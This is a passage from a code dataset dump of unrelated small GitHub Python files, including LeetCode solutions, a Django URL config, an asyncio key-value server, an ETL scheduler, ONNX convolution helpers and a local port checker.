== None:\n img['class'] = []\n img['class'].append(\"class-not-in-image\")\n img['class'].append('img-fluid')\n\n # transfer the new body over (leaving behind the css in style)\n outputDOM.find('div', id='article-content').contents = inputDOM.body.contents\n\n # collect some basic information about the article\n\n details = {}\n article = outputDOM.find('div', id='article-content')\n leaderText = ''\n try:\n if article.p != None:\n leaderText = article.p.text.strip()\n except AttributeError:\n pass\n if 240 < len(leaderText): # don't let a leader be longer than a tweet\n leaderText = leaderText[:240]\n leaderText += '...'\n details['leader'] = leaderText\n details['imgsrc'] = \"http://encyclopedia.che.engin.umich.edu/Images/melicon.png\"\n if 0 < len(imgs):\n details['imgsrc'] = imgs[0]['src']\n\n return outputDOM.prettify().encode('utf-8'), details","repo_name":"MELCHE/mel_encyclopeida","sub_path":"googleDriveCleaner.py","file_name":"googleDriveCleaner.py","file_ext":"py","file_size_in_byte":5464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"4950233773","text":"import requests\nimport json\nimport utils.xlsData\n\ndef call_http(imethod, url, param={}):\n if imethod=='get':\n rst = requests.get(url, param)\n elif imethod == 'post':\n rst =requests.post(url,json.dumps(param))\n\n return rst\n\nif __name__ == '__main__':\n pm = {'wd': 'python'}\n r = call_http('get','http://www.baidu.com/s',pm)\n print(r.status_code)\n\n rn = call_http('post','http://www.baidu.com/',pm)\n print('URL:{},status_code:{}\\n{}'.format(rn.url,r.status_code,r.text))\n\n\n'''\n#读取url, param\nurl = utils.xlsData.readRow('../x.xls',0)[1]\nparam= utils.xlsData.readRow('../x.xls',1)[1]\nrst = requests.get(url,params=param)\n#r=requests.get(url='https://cart.taobao.com/trail_mini_cart.htm', params={'callback':'MiniCart.setData','t':'1526048972328'})\nprint('url:{0}\\nparams:{1}'.format(url,param))\nprint('请求的URL为{0}\\n返回状态:{1}'.format(rst.url,rst.status_code))\n'''","repo_name":"aiatf/first","sub_path":"utils/callHttp.py","file_name":"callHttp.py","file_ext":"py","file_size_in_byte":916,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"11700075993","text":"# Write a function that accepts two strings. One is a search string (a sentence) and the other is the\n# word we are searching for. The function returns the number of times the word is found in the sentence.\n\ndef count_word(search_string,word):\n \"\"\"This function take two string as argument and return number of time word occured in string.\n search_string : String Type\n word : String Type\n \"\"\"\n try:\n word_list = [word for word in search_string.split(' ')] # this logic split string by \" \" and convert into list\n return word_list.count(word) # this return number of count words match with search word.\n except:\n print(\"Invalid arguments.\") # this code execute when user pass invalid arguments like True, 123\n return 0\n","repo_name":"ketulsuthar/PRG8420","sub_path":"Assignment-2/ketulkumar_suthar_A2_Q2.py","file_name":"ketulkumar_suthar_A2_Q2.py","file_ext":"py","file_size_in_byte":764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"36367841432","text":"import numpy as np\nimport pylab as pl\nimport pickle\nimport os\n\nfrom PIL import Image \nfrom sklearn.cross_validation import train_test_split\nfrom sklearn.metrics import classification_report\n\nimport feature as NPD\nimport ensemble as ADB\nimport ensemble as CLA\n\n\ndef exfuture(m,n,file):\n X = np.zeros((m+n,165600))\n i = 0\n output = open(file,\"wb\")\n for file in os.listdir(\"./datasets/original/face\"):\n \n im = np.array(Image.open(\"./datasets/original/face/\"+file).convert('L').resize((24,24),Image.BILINEAR),'i')\n x = NPD.NPDFeature(im)\n X[i] = x.extract()\n i += 1\n for file in os.listdir(\"./datasets/original/nonface\"):\n \n im = np.array(Image.open(\"./datasets/original/nonface/\"+file).convert('L').resize((24,24),Image.BILINEAR),'i')\n x = NPD.NPDFeature(im)\n X[i] = x.extract()\n i += 1\n pickle.dump(X,output)\n y = np.hstack((np.ones((m,)).T,np.zeros((n,)).T))\n pickle.dump(y,output)\n output.close()\n\nif __name__ == \"__main__\":\n # write your code here\n \n #exfuture(500,500,\"traindata.mat\")\n \n M = 5\n data = open(\"traindata.mat\",\"rb\")\n X = pickle.load(data)\n y = pickle.load(data)\n W = np.ones((800,)) * 1/800\n data.close()\n X_train, X_test, y_train, y_test = train_test_split(X,y,test_size=0.2,random_state=0)\n '''\n G = ADB.AdaBoostClassifier(tree.DecisionTreeClassifier,5)\n G.fit(X_train,y_train)\n output = open('model.m','wb')\n pickle.dump(G,output)\n output.close()\n '''\n with open('model.m', \"rb\") as f:\n G = pickle.load(f)\n predict = G.predict(X_test,0.05)\n with open('report.txt', \"w\") as f:\n f.write(classification_report(predict, y_test, target_names = ['nonface', 'face']))\n\n ","repo_name":"wukkkkk/machine-learning-ex3","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"24851432191","text":"\"\"\"\n给定一个由 整数 组成的 非空 数组所表示的非负整数,在该数的基础上加一。\n最高位数字存放在数组的首位, 数组中每个元素只存储单个数字。\n你可以假设除了整数 0 之外,这个整数不会以零开头。\n示例1:\n输入:digits = [1,2,3]\n输出:[1,2,4]\n解释:输入数组表示数字 123。\n示例2:\n输入:digits = [4,3,2,1]\n输出:[4,3,2,2]\n解释:输入数组表示数字 4321。\n示例 3:\n\n输入:digits = [0]\n输出:[1]\n\n提示:\n\n1 <= digits.length <= 100\n0 <= digits[i] <= 9\n\n来源:力扣(LeetCode)\n链接:https://leetcode-cn.com/problems/plus-one\n著作权归领扣网络所有。商业转载请联系官方授权,非商业转载请注明出处。\n\"\"\"\nfrom typing import List\n\n\nclass Solution:\n def plusOne(self, digits: List[int]) -> List[int]:\n ans = []\n jinwei = 1\n while digits:\n num = digits.pop()\n num += jinwei\n jinwei = 0 if num <= 9 else 1\n ans.append(num if num <= 9 else 0)\n if jinwei == 1:\n ans.append(jinwei)\n return ans[::-1]\n\n\nclass Solution:\n \"\"\"\n 方法一:找出最长的后缀 99\n 思路\n\n 当我们对数组 \\textit{digits}digits 加一时,我们只需要关注 \\textit{digits}digits 的末尾出现了多少个 99 即可。我们可以考虑如下的三种情况:\n\n 如果 \\textit{digits}digits 的末尾没有 99,例如 [1, 2, 3][1,2,3],那么我们直接将末尾的数加一,得到 [1, 2, 4][1,2,4] 并返回;\n\n 如果 \\textit{digits}digits 的末尾有若干个 99,例如 [1, 2, 3, 9, 9][1,2,3,9,9],那么我们只需要找出从末尾开始的第一个不为 99 的元素,即 33,将该元素加一,得到 [1, 2, 4, 9, 9][1,2,4,9,9]。随后将末尾的 99 全部置零,得到 [1, 2, 4, 0, 0][1,2,4,0,0] 并返回。\n\n 如果 \\textit{digits}digits 的所有元素都是 99,例如 [9, 9, 9, 9, 9][9,9,9,9,9],那么答案为 [1, 0, 0, 0, 0, 0][1,0,0,0,0,0]。我们只需要构造一个长度比 \\textit{digits}digits 多 11 的新数组,将首元素置为 11,其余元素置为 00 即可。\n\n 算法\n\n 们只需要对数组 \\textit{digits}digits 进行一次逆序遍历,找出第一个不为 99 的元素,将其加一并将后续所有元素置零即可。如果 \\textit{digits}digits 中所有的元素均为 99,那么对应着“思路”部分的第三种情况,我们需要返回一个新的数组。\n\n 作者:LeetCode-Solution\n 链接:https://leetcode-cn.com/problems/plus-one/solution/jia-yi-by-leetcode-solution-2hor/\n 来源:力扣(LeetCode)\n 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。\n \"\"\"\n\n def plusOne(self, digits: List[int]) -> List[int]:\n n = len(digits)\n for i in range(n - 1, -1, -1):\n if digits[i] != 9:\n digits[i] += 1\n for j in range(i + 1, n):\n digits[j] = 0\n return digits\n\n # digits 中所有的���素均为 9\n return [1] + [0] * n\n\n\nif __name__ == '__main__':\n s = Solution()\n print(s.plusOne(digits=[1, 2, 3]))\n print(s.plusOne(digits=[9, 9, 9]))\n","repo_name":"wanzhouyi/leetcode","sub_path":"每日一题/数学及推理/66. 加一.py","file_name":"66. 加一.py","file_ext":"py","file_size_in_byte":3266,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"19996025236","text":"\nfrom django.urls import path\nfrom .views import bookstore,register,noise_login,noise_logout, submit,book_info,order_book\n\napp_name='bookstore'\nurlpatterns = [\n path('',bookstore,name='bookstore'),\n path('register',register,name='register'),\n path('login/',noise_login,name='login'),\n path('logout/',noise_logout,name='logout'),\n path('submit-a-book/',submit,name='submit'),\n path('book//',book_info,name='book_info'),\n path('order//',order_book,name='order_book')\n]","repo_name":"Lukpata/U-Rights-Magazine","sub_path":"bookstore/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"5631105123","text":"import asyncio\nimport re\n\nDATA = {}\n \n\ndef answer_put(val):\n global DATA\n key, value, timestamp = val\n if key not in DATA:\n DATA[key] = [(int(timestamp), float(value))]\n else:\n DATA[key].append((int(timestamp), float(value)))\n return \"ok\\n\\n\"\n\n\ndef answer_get(key):\n global DATA\n print(\"DATA=\", DATA)\n answer = \"ok\\n \"\n if key == '*':\n for row in DATA:\n for subrow in DATA[row]:\n answer += '{} {} {}\\n\\n'.format(row, subrow[1], subrow[0])\n print(answer.encode())\n return answer\n elif key not in DATA:\n return answer.encode()\n \n for row in DATA[key]:\n answer += '{} {} {}\\n\\n'.format(key, row[1], row[0])\n print(answer.encode())\n return answer\n \n\ndef answer(value):\n s_val = value.split()\n print(s_val)\n if s_val[0] == 'put':\n return answer_put(s_val[1:])\n elif s_val[0] == 'get':\n return answer_get(s_val[1])\n \n return b\"error\\nwrong command\"\n\n\nasync def handle(reader, writer):\n while True:\n print(\"start handle\")\n data = await reader.read(1024)\n print(\"data=\", data)\n if not data:\n break\n print(\"get reader\")\n message = data.decode()\n addr = writer.get_extra_info(\"peername\")\n print(\"message=\", message)\n # writer.write(answer(message).encode())\n writer.write(b\"\\n\\n\")\n writer.close()\n print(\"close writer\")\n\n\ndef run_server(host, port):\n loop = asyncio.get_event_loop()\n coro = asyncio.start_server(\n handle,\n host, port\n )\n\n server = loop.run_until_complete(coro)\n\n try:\n loop.run_forever()\n except KeyboardInterrupt:\n pass\n\n server.close()\n loop.run_until_complete(server.wait_closed())\n loop.close()\n\n\nif __name__ == \"__main__\":\n run_server(\"127.0.0.1\", 10001)\n ","repo_name":"playmixer/coursera-python","sub_path":"course_1/week6/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"18481644002","text":"from models import session\nfrom models.models import TaskModel, TaskScheduleModel\nimport traceback,datetime\nfrom sqlalchemy.exc import InternalError\nfrom task.task import task_product_personal_info,task_product_test\nfrom task.task import task_middle\n\n\ndef run(scheduler):\n try:\n import time\n while True:\n jod_store = scheduler.scheduler.get_jobs()\n print(\"当前启动的任务列表: {}\".format(jod_store))\n # 获取所有等待启动的task\n task_app = get_start_task()\n # 获取task\n for task in task_app:\n start_task(scheduler, task[\"task\"], task[\"interval\"], task[\"TaskID\"], task[\"task_scheduler\"],task[\"type\"],task[\"update_type\"])\n # 修改task的status\n pause_resume_task_scheduler(scheduler,get_task_scheduler_status())\n\n # TODO 查询数据库中任务表的数据是否有更新,根据更新的数据添加任务到任务队列中\n time.sleep(2)\n except TypeError as t:\n traceback.print_exc()\n print(t.__str__())\n except Exception as e:\n traceback.print_exc()\n except InternalError as I:\n traceback.print_exc()\n print(I.__str__())\n\n\n# 获取所有的任务计划列表\ndef get_task_scheduler():\n task_schedulers = session.query(TaskScheduleModel).all()\n session.commit()\n return task_schedulers\n\n\n# 获取所有任务计划的任务id和对应的状态\ndef get_task_scheduler_status():\n scheduler_status_app = []\n task_schedulers = get_task_scheduler()\n for task_scheduler in task_schedulers:\n scheduler_status_app.append({task_scheduler.TaskID:task_scheduler.status})\n return scheduler_status_app\n\n\n# 停止/暂停 任务计划\ndef pause_resume_task_scheduler(scheduler, scheduler_status):\n all_jobs = get_all_running_task_id(scheduler)\n for task_schedule in scheduler_status:\n for task_id,status in task_schedule.items():\n if task_id in all_jobs:\n if status == 0: # 暂停\n scheduler.scheduler.pause_job(task_id)\n # change_task_scheduler_status(session,task_id,\"任务正常暂停\",0)\n if status == -1:\n scheduler.scheduler.remove_job(task_id)\n # change_task_scheduler_status(session, task_id, \"任务出错暂停\", 0)\n if status == 1:\n scheduler.scheduler.resume_job(task_id)\n # change_task_scheduler_status(session, task_id, \"任务重新启动\", 2)\n\n\n# 获取所有要启动的计划任务\ndef get_start_task():\n try:\n task_app = []\n task_schedulers = get_task_scheduler()\n for task_scheduler in task_schedulers:\n if task_scheduler.status == 1:\n # print('task_scheduler.task_id',task_scheduler.task_id)\n task_app.append({\"task\": session.query(TaskModel).filter_by(id=task_scheduler.task_id).first(),\n \"interval\": int(task_scheduler.schedule), \"TaskID\": task_scheduler.TaskID,\n \"task_scheduler\": task_scheduler,\"type\":int(task_scheduler.type),\"update_type\":task_scheduler.update})\n return task_app\n except Exception as e:\n traceback.print_exc()\n\n\n# 解析任务的所有参数\ndef parse_task_parameter(task):\n dict_data = task.to_dict()\n return dict_data\n\n\n# 获取所有正在运行的任务id\ndef get_all_running_task_id(scheduler):\n task_id_app = []\n job_store = scheduler.scheduler.get_jobs()\n for job in job_store:\n task_id_app.append(job.id)\n return list(task_id_app)\n\n\n# 添加任务到任务调度器中并将任务计划的状态重置为2,表示当前任务正在进行\ndef start_task(scheduler, task, interval, task_id, task_scheduler,task_type,update_type):\n try:\n jod_store = get_all_running_task_id(scheduler)\n if task_id not in jod_store:\n data_dict = parse_task_parameter(task)\n if task_type == 1: # 到中间库\n scheduler.scheduler.add_job(task_middle.get_task, trigger=\"interval\", seconds=interval,\n id=task_id, args=[data_dict,task_id,update_type], next_run_time=datetime.datetime.now())\n elif task_type == 2: # 到档案库\n scheduler.scheduler.add_job(task_product_personal_info.get_task, trigger=\"interval\", seconds=interval, id=task_id,\n args=[data_dict, task_id,update_type], next_run_time=datetime.datetime.now()) # 档案信息\n elif task_type == 3: # 检测信息库\n scheduler.scheduler.add_job(task_product_test.get_task, trigger=\"interval\", seconds=interval,\n id=task_id,\n args=[data_dict, task_id,update_type], next_run_time=datetime.datetime.now()) # 检测信息\n\n task_scheduler.status = 2\n session.commit()\n except Exception as e:\n traceback.print_exc()\n\n\nif __name__ == '__main__':\n import pandas as pd\n # data = {}\n # df =\n # df = p\n\n","repo_name":"Pysion-lin/etl_project","sub_path":"ETLSchedule/task/task_queue.py","file_name":"task_queue.py","file_ext":"py","file_size_in_byte":5182,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"10208352700","text":"# -*- encoding: utf-8 -*-\n# pylint: disable=E0203,E1101,C0111\n\"\"\"\n@file\n@brief Helpers for operators Conv, ConvTranspose.\n\"\"\"\nimport numpy\nfrom .op_conv_helper_ import ( # pylint: disable=E0611\n im2col_1d_inplace_float,\n tch_im2col_2d_float, tch_col2im_2d_float,\n new_array as _new_array,\n im2col_NCHW_float, col2im_NCHW_float,\n col2im_infer_output_shape as col2im_infer_output_shape_c)\n\n\ndef im2col_nn(res):\n \"\"\"\n Functions @see fn nn_im2col_2d and @see fn im2col returns the\n same results but with different shapes. This function\n converts a result from @see fn nn_im2col_2d into the same\n shape as a return from @see fn nn_im2col_2d.\n \"\"\"\n if len(res.shape) % 2 != 0:\n raise ValueError( # pragma: no cover\n \"Number of dimensions should be even.\")\n m = len(res.shape) // 2\n data = numpy.prod(res.shape[:m])\n ker = numpy.prod(res.shape[m:])\n resh = res.reshape((data, ker))\n tr = numpy.transpose(resh, [1, 0])\n return tr[numpy.newaxis, ...]\n\n\ndef new_array(shape, dtype=numpy.float32):\n \"\"\"\n Creates a new empty array.\n\n :param shape: shape\n :param dtype: dtype\n :return: new array\n \"\"\"\n if dtype == numpy.float32:\n dtype = numpy.dtype('float32')\n return _new_array(list(shape), dtype)\n\n\ndef nn_im2col_2d(data, kernel_shape, dilations, padding, fill_value=0):\n \"\"\"\n C++ implementation for `im2col` or :func:`torch.nn.Unfold`.\n\n :param data: image (float), 2 dimensions.\n :param kernel_shape: kernel shape\n :param dilations: dilations\n :param padding: padding\n :param fill_value: fill value\n :return: result\n \"\"\"\n strides = (1, 1)\n ext_shape = (\n (data.shape[0] + 2 * padding[0] - dilations[0] * (\n kernel_shape[0] - 1) - 1) // strides[0] + 1,\n (data.shape[1] + 2 * padding[1] - dilations[1] * (\n kernel_shape[1] - 1) - 1) // strides[1] + 1)\n kernel_size = kernel_shape[0] * kernel_shape[1]\n shape = (kernel_size, ext_shape[0] * ext_shape[1])\n result = numpy.full(shape, dtype=data.dtype, fill_value=-5555)\n if data.dtype == numpy.float32:\n tch_im2col_2d_float(result, data,\n numpy.array(kernel_shape, dtype=numpy.int64),\n numpy.array(dilations, dtype=numpy.int64),\n numpy.array(padding, dtype=numpy.int64),\n fill_value)\n else:\n raise NotImplementedError( # pragma: no cover\n f\"Unexpected dtype {data.dtype!r} for data.\")\n return result\n\n\ndef nn_col2im_2d(data, output_shape, kernel_shape, dilations, padding):\n \"\"\"\n C++ implementation for `col2im` or :func:`torch.nn.Fold`.\n\n :param data: image (float), 2 dimensions.\n :param output_shape: output size\n :param kernel_shape: kernel shape\n :param dilations: dilations\n :param padding: padding\n :return: result\n \"\"\"\n result = numpy.zeros(output_shape, dtype=data.dtype)\n if data.dtype == numpy.float32:\n tch_col2im_2d_float(result, data,\n numpy.array(output_shape, dtype=numpy.int64),\n numpy.array(kernel_shape, dtype=numpy.int64),\n numpy.array(dilations, dtype=numpy.int64),\n numpy.array(padding, dtype=numpy.int64))\n else:\n raise NotImplementedError( # pragma: no cover\n f\"Unexpected dtype {data.dtype!r} for data.\")\n return result\n\n\ndef _get_indices(i, shape):\n res = numpy.empty((len(shape), ), dtype=numpy.int64)\n k = len(shape) - 1\n while k > 0:\n m = i % shape[k]\n res[k] = m\n i -= m\n i /= shape[k]\n k -= 1\n res[0] = i\n return res\n\n\ndef _is_out(ind, shape):\n for i, s in zip(ind, shape):\n if i < 0:\n return True\n if i >= s:\n return True\n return False\n\n\ndef im2col_naive_implementation(data, kernel_shape, fill_value=0):\n \"\"\"\n Naive implementation for `im2col` or\n :func:`torch.nn.Unfold` (but with `padding=1`).\n\n :param image: image (float)\n :param kernel_shape: kernel shape\n :param fill_value: fill value\n :return: result\n \"\"\"\n if not isinstance(kernel_shape, tuple):\n raise TypeError(\n f\"Unexpected type {type(kernel_shape)!r} for kernel_shape.\")\n if len(data.shape) != len(kernel_shape):\n raise ValueError(\n f\"Shape mismatch {data.shape!r} and {kernel_shape!r}.\")\n output_shape = data.shape + kernel_shape\n res = numpy.empty(output_shape, dtype=data.dtype)\n middle = numpy.array([-m / 2 for m in kernel_shape], dtype=numpy.int64)\n kernel_size = numpy.prod(kernel_shape)\n data_size = numpy.prod(data.shape)\n for i in range(data_size):\n for j in range(kernel_size):\n i_data = _get_indices(i, data.shape)\n i_kernel = _get_indices(j, kernel_shape)\n ind = i_data + i_kernel + middle\n t_data = tuple(i_data)\n t_kernel = tuple(i_kernel)\n i_out = t_data + t_kernel\n res[i_out] = fill_value if _is_out(\n ind, data.shape) else data[tuple(ind)]\n return res\n\n\ndef im2col_recursive(data, kernel_shape, fill_value=0, fall_back_dim=2):\n \"\"\"\n Recursive implementation, falls back to\n @see fn im2col_naive_implementation for dimension `<= fall_back_dim`.\n The function is equivalent to\n :func:`torch.nn.Unfold` (but with `padding=1` on all dimensions).\n\n :param image: image (float)\n :param kernel_shape: kernel shape\n :param fill_value: fill value\n :param fall_back_dim: below that threshold,\n switches to @see fn im2col_naive_implementation.\n :return: result\n \"\"\"\n if len(data.shape) <= fall_back_dim:\n return im2col_naive_implementation(data, kernel_shape, fill_value)\n\n perm = numpy.arange(len(data.shape) * 2).tolist()\n del perm[1:2]\n perm.insert(len(data.shape), 1)\n\n res = []\n N0 = data.shape[0]\n k0 = kernel_shape[0]\n mini_kernel = kernel_shape[1:]\n mini_shape = data.shape[1:] + mini_kernel\n for i in range(N0):\n for k in range(k0):\n ii = k - k0 // 2 + i\n if ii < 0 or ii >= N0:\n cc = numpy.full(mini_shape, dtype=data.dtype,\n fill_value=fill_value)\n else:\n # many computation are already done, results should be cached.\n cc = im2col_recursive(data[ii], mini_kernel, fill_value)\n cc2 = cc[numpy.newaxis, ...]\n res.append(cc2)\n\n final = numpy.vstack(res)\n new_shape = (N0, k0) + cc.shape\n resh = final.reshape(new_shape)\n return numpy.transpose(resh, tuple(perm))\n\n\ndef im2col(data, kernel_shape=None, fill_value=0):\n \"\"\"\n Returns the result of `im2col` on a image `NHCW` where N is 1.\n The function is equivalent to\n :func:`torch.nn.Unfold` (but with `padding=1` on all dimensions).\n\n :param image: image (float)\n :param kernel_shape: kernel shape\n :param fill_value: fill value\n :return: result\n\n This function is equivalent to function\n :func:`torch.nn.Unfold` with `padding=kernel_shape / 2`\n followed by a reshape and a transpose.\n\n ::\n\n import numpy\n from numpy.testing import assert_almost_equal\n import torch\n\n data = (numpy.arange(20).astype(numpy.float64) + 10).reshape((4, 5))\n expected = im2col_recursive(data, (3, 3), fill_value=0)\n unfold = torch.nn.Unfold(kernel_size=(3, 3), padding=1)\n input = torch.from_numpy(data.reshape((1, 1) + data.shape))\n output = unfold(input)\n mat = output.numpy()\n tr = numpy.transpose(mat, [0, 2, 1])\n resh = tr.reshape(expected.shape)\n assert_almost_equal(expected, resh)\n \"\"\"\n if len(data.shape) == 1:\n if kernel_shape is None:\n kernel_shape = (3, )\n elif len(kernel_shape) != 1:\n raise ValueError(\n f\"Unexpected kernel_shape {kernel_shape!r}, should be 1d.\")\n if data.dtype == numpy.float32:\n result = numpy.empty(\n (data.shape[0], kernel_shape[0]), dtype=data.dtype)\n im2col_1d_inplace_float(\n result, data,\n kernel_shape if isinstance(kernel_shape, numpy.ndarray)\n else numpy.array(kernel_shape, dtype=numpy.int64),\n numpy.float32(fill_value))\n return result\n return im2col_naive_implementation(data, kernel_shape, fill_value)\n\n\ndef get_im2col_indices(x_shape, field_height, field_width, padding=1, stride=1):\n \"\"\"\n Source `im2col.py `_.\n \"\"\"\n # First figure out what the size of the output should be\n _, C, H, W = x_shape\n if (H + 2 * padding - field_height) % stride != 0:\n raise RuntimeError(\n \"Unexpected value: %d != %d.\" % (\n H + 2 * padding - field_height, stride))\n if (W + 2 * padding - field_height) % stride != 0:\n raise RuntimeError(\n \"Unexpected value: %d != %d.\" % (\n W + 2 * padding - field_height, stride))\n out_height = (H + 2 * padding - field_height) // stride + 1\n out_width = (W + 2 * padding - field_width) // stride + 1\n\n i0 = numpy.repeat(numpy.arange(field_height), field_width)\n i0 = numpy.tile(i0, C)\n i1 = stride * numpy.repeat(numpy.arange(out_height), out_width)\n j0 = numpy.tile(numpy.arange(field_width), field_height * C)\n j1 = stride * numpy.tile(numpy.arange(out_width), out_height)\n i = i0.reshape(-1, 1) + i1.reshape(1, -1)\n j = j0.reshape(-1, 1) + j1.reshape(1, -1)\n\n k = numpy.repeat(numpy.arange(C), field_height *\n field_width).reshape(-1, 1)\n\n return (k, i, j)\n\n\ndef im2col_indices(x, field_height, field_width, padding=0, stride=1):\n \"\"\"\n Source `im2col.py `_.\n \"\"\"\n if padding > 0:\n p = padding\n x_padded = numpy.pad(\n x, ((0, 0), (0, 0), (p, p), (p, p)), mode='constant')\n else:\n x_padded = x\n k, i, j = get_im2col_indices(\n x.shape, field_height, field_width, padding, stride)\n cols = x_padded[:, k, i, j]\n C = x.shape[1]\n cols = cols.transpose(1, 2, 0).reshape(field_height * field_width * C, -1)\n return cols\n\n\ndef col2im_indices(cols, x_shape, field_height=3, field_width=3, padding=0,\n stride=1):\n \"\"\"\n Source `im2col.py `_.\n \"\"\"\n N, C, H, W = x_shape\n H_padded, W_padded = H + 2 * padding, W + 2 * padding\n x_padded = numpy.zeros((N, C, H_padded, W_padded), dtype=cols.dtype)\n k, i, j = get_im2col_indices(x_shape, field_height, field_width, padding,\n stride)\n cols_reshaped = cols.reshape(C * field_height * field_width, -1, N)\n cols_reshaped = cols_reshaped.transpose(2, 0, 1)\n numpy.add.at(x_padded, (slice(None), k, i, j), cols_reshaped)\n if padding == 0:\n return x_padded\n return x_padded[:, :, padding:-padding, padding:-padding]\n\n\ndef im2col_nchw(image_id, group_id, group, image, kernel_shape, padding, dilations):\n \"\"\"\n C implementation of a partial im2col.\n\n :param image: image (float)\n :param kernel_shape: kernel shape\n :param padding: padding\n :param dilations: dilations\n :return: result\n \"\"\"\n if not image.flags['C_CONTIGUOUS']:\n image = numpy.ascontiguousarray(image)\n group = 1\n mul, img = image.shape[:-2], image.shape[-2:]\n strides = [1] * len(image.shape)\n\n output_shape, padding = im2col_infer_output_shape(\n img, kernel_shape, strides, dilations, padding)\n result = numpy.empty(mul + tuple(output_shape), dtype=image.dtype)\n im2col_NCHW_float(image_id, group_id, group,\n result, image, output_shape,\n kernel_shape, dilations, padding)\n return result\n\n\ndef im2col_infer_output_shape(\n input_shape, kernel_shape, strides, dilations,\n padding, auto_padding=\"NOTSET\"):\n \"\"\"\n Computes the ouput shape of im2col.\n\n :param input_shape: input _shape\n :param kernel_shape: kernel shape\n :param strides: strides\n :param dilations: dilations\n :param padding: padding\n :param auto_padding: among NOTSET, VALID, SAME_UPPER, SAME_LOWER\n :return output_shape, modified padding\n \"\"\"\n return col2im_infer_output_shape_c(\n input_shape, kernel_shape, strides, dilations,\n padding, auto_padding)\n\n\ndef col2im_nchw(data_col, image_shape, kernel_shape, padding, dilations):\n \"\"\"\n C implementation of a partial col2im.\n\n :param data_col: image (float)\n :param image_shape: expected image shape\n :param kernel_shape: kernel shape\n :param padding: padding\n :param dilations: dilations\n :return: result\n \"\"\"\n if not data_col.flags['C_CONTIGUOUS']:\n data_col = numpy.ascontiguousarray(data_col)\n\n result = numpy.full(data_col.shape[:2] + tuple(image_shape),\n dtype=data_col.dtype, fill_value=-555)\n col2im_NCHW_float(result, data_col, image_shape,\n kernel_shape, dilations, padding)\n return result\n","repo_name":"sdpython/mlprodict","sub_path":"mlprodict/onnxrt/ops_cpu/op_conv_helper.py","file_name":"op_conv_helper.py","file_ext":"py","file_size_in_byte":13348,"program_lang":"python","lang":"en","doc_type":"code","stars":64,"dataset":"github-code","pt":"67"} +{"seq_id":"409083444","text":"import unittest\n\ndef one_edit_replace(s, t):\n edited = False\n for c1, c2 in zip(s, t):\n if c1 != c2:\n if edited:\n return False\n else:\n edited = True\n return True\n\ndef one_edit_insert(s, t):\n \"\"\"\n t is the longer one (index: j)\n \"\"\"\n edited = False\n i = j = 0\n\n while i < len(s) and j < len(t):\n\n if s[i] != t[j]:\n\n if edited:\n return False\n \n else:\n edited = True\n j += 1\n\n else:\n i += 1\n j += 1\n\n return True\n\n\ndef oneAway(s: str, t: str) -> bool:\n\n if len(s) == len(t):\n return one_edit_replace(s, t)\n elif len(s) - 1 == len(t):\n return one_edit_insert(t, s)\n elif len(t) - 1 == len(s):\n return one_edit_insert(s, t) \n\n return False\n\n\ndef oneAway_2(s: str, t: str) -> bool:\n \"\"\"\n Merge one_edit_replace and one_edit_insert\n \"\"\"\n\n if abs(len(s), len(t)) > 1:\n return False\n\n # get shorter and longer string\n s1 = s if len(s) < len(t) else t\n s2 = t if len(t) < len(s) else s\n\n i = j = 0\n edited = False\n\n while i < len(s1) and j < len(s2):\n if s1[i] != s2[j]:\n if edited:\n return False\n \n edited = True\n\n # if matches or their lengths are equal\n if len(s1) == len(s2) or s1[i] == s2[j]:\n i += 1\n\n # always move the pointer for longer string\n j += 1\n\n return True\n \n\nclass Test(unittest.TestCase):\n data = [\n ('pale', 'ple', True),\n ('pale', 'pales', True),\n ('pale', 'bale', True),\n ('pale', 'bake', False),\n ('pale', 'paless', False),\n ('pa', 'pale', False),\n ('pale', 'pale', True),\n ('lpe', 'ple', False),\n ('lpes', 'ple', False),\n ('a', 'b', True),\n ('', 'd', True),\n ('d', 'de', True),\n ('pale', 'pse', False),\n ('ples', 'pales', True),\n ('pale', 'pas', False),\n ('pas', 'pale', False),\n ('pale', 'pkle', True),\n ('pkle', 'pable', False),\n ('pal', 'palks', False),\n ('palks', 'pal', False)\n ]\n\n def test_oneAway(self):\n for test_s, test_t, answer in self.data:\n result = oneAway(test_s, test_t)\n self.assertEqual(answer, result)\n\nif __name__ == '__main__':\n unittest.main()","repo_name":"ShinminHsu/LeetCode","sub_path":"Cracking_Coding_Interview/Chapter_1/105_one_away.py","file_name":"105_one_away.py","file_ext":"py","file_size_in_byte":2436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"23191914768","text":"import socket\nimport pickle\nfrom contextlib import closing\n\ndef check_socket(host, port):\n\twith closing(socket.socket()) as s:\n\t\tif s.connect_ex((host, port)) == 0:\n\t\t\tprint('Port is open')\n\t\t\tresp = pickle.loads(s.recv(1024))\n\t\t\tprint(resp['msg'])\n\t\telse:\n\t\t\tprint('Port is not open')\n\t\t\nhost = socket.gethostbyname(socket.gethostname())\nport = 8080\ncheck_socket(host, port)\n","repo_name":"giTomas/python_networking","sub_path":"sockets_check_port/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"26562231846","text":"import cv2\nimport random\nimport numpy as np\n\ndef preprocess_image(image, target_size, bboxes=None):\n ih, iw = target_size\n h, w, _ = image.shape\n\n scale = min(iw / w, ih / h)\n nw, nh = int(scale * w), int(scale * h)\n image_resized = cv2.resize(image, (nw, nh))\n\n image_paded = 